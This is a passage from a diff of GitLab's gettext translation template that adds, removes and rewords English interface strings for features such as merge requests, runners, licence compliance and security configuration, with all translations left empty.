msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20761,6 +21105,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20911,9 +21258,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20941,13 +21285,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20965,6 +21309,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21182,7 +21529,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21263,7 +21610,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21476,6 +21823,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21494,6 +21844,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21701,9 +22054,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21866,6 +22216,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21881,6 +22237,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21926,22 +22285,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -22061,6 +22411,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22702,6 +23064,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22955,9 +23320,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -23108,9 +23470,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -23135,6 +23494,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23340,6 +23702,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23376,6 +23741,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23571,6 +23939,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23619,9 +23990,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23664,6 +24041,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23685,6 +24065,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23782,6 +24165,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -24005,7 +24391,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -24161,7 +24547,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24245,6 +24631,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24335,19 +24727,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24369,6 +24761,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24408,6 +24806,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24429,6 +24830,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24447,7 +24851,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24687,6 +25091,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -25045,6 +25452,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25141,9 +25551,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25396,6 +25803,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25711,9 +26124,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25843,6 +26253,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25858,9 +26271,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25951,10 +26361,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -26095,6 +26505,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26122,9 +26535,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26365,7 +26775,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26647,7 +27057,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26668,13 +27078,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26716,13 +27126,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -27052,9 +27465,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -27133,6 +27543,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27400,12 +27813,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27475,6 +27894,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27499,6 +27921,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27520,6 +27945,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27724,6 +28155,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27931,6 +28365,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27949,9 +28386,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28312,6 +28755,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28474,6 +28920,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28588,6 +29037,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28691,9 +29146,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28863,6 +29315,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28890,6 +29345,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28899,6 +29357,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -29016,15 +29480,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -29040,6 +29504,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -29109,6 +29576,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -29133,6 +29603,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29320,6 +29793,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29341,6 +29817,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29359,6 +29838,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29437,7 +29919,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29452,6 +29934,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29473,6 +29961,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29512,6 +30003,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29583,6 +30077,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29903,6 +30400,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29957,6 +30457,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29969,6 +30472,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29990,6 +30496,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -30002,12 +30511,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -30041,6 +30556,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -30050,6 +30568,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -30080,12 +30601,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -30143,19 +30670,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30236,21 +30769,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30649,6 +31167,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30673,6 +31194,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30721,7 +31245,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30736,7 +31260,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30748,7 +31272,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30808,6 +31332,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30817,6 +31344,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30841,6 +31371,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30910,7 +31446,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30919,6 +31458,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30940,6 +31482,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -31159,7 +31707,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -31192,6 +31740,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31330,6 +31881,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31534,9 +32088,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31636,7 +32187,16 @@ msgstr ""
msgid "Service"
msgstr ""
